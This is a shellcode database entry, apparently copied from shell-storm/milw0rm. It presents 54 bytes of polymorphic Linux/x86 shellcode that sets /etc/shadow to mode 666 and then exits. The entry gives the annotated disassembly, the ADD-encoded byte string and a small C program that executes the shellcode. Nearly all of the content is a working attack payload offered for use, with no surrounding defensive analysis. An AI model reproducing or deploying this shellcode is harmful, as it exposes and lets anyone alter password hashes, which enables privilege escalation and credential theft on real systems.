| 关键词: nbsp Shellcode push xff eax 80 shadow int ebx storm |
/* Title: Linux/x86 - Shellcode Polymorphic chmod("/etc/shadow",666) & exit() - 54 bytes Encode : _ADD Author: Jonathan Salwan Mail: submit [!] shell-storm.org ! Database of shellcodes => http://www.shell-storm.org/shellcode/ Informations _chmod() & _exit(): ================================ %eax = 15 %ebx = /etc/shadow %ecx = 666 %eax = 1 %ebx = 0 Disassembly of section .text: 08048054 <.text>: 8048054:51 push %ecx 8048055:66 b9 b6 01 mov $0x1b6,%cx 8048059:68 61 64 6f 77 push $0x776f6461 804805e:68 63 2f 73 68 push $0x68732f63 8048063:68 2f 2f 65 74 push $0x74652f2f 8048068:89 e3 mov %esp,%ebx 804806a:6a 0f push $0xf 804806c:58 pop %eax 804806d:cd 80 int $0x80 804806f:40 inc %eax 8048070:cd 80 int $0x80 */ #include "stdio.h" char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x30\x80" "\x6c\x0e\xff\x23\x80\xe9\x01\x75" "\xf6\xeb\x05\xe8\xea\xff\xff\xff" "\x74\x89\xdc\xd9\x24\x8b\x84\x87" "\x92\x9a\x8b\x86\x52\x96\x8b\x8b" "\x52\x52\x88\x97\xac\x06\x8d\x32" "\x7b\xf0\xa3\x63\xf0\xa3"; int main() { printf("Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; } // milw0rm.com [2009-06-22] |
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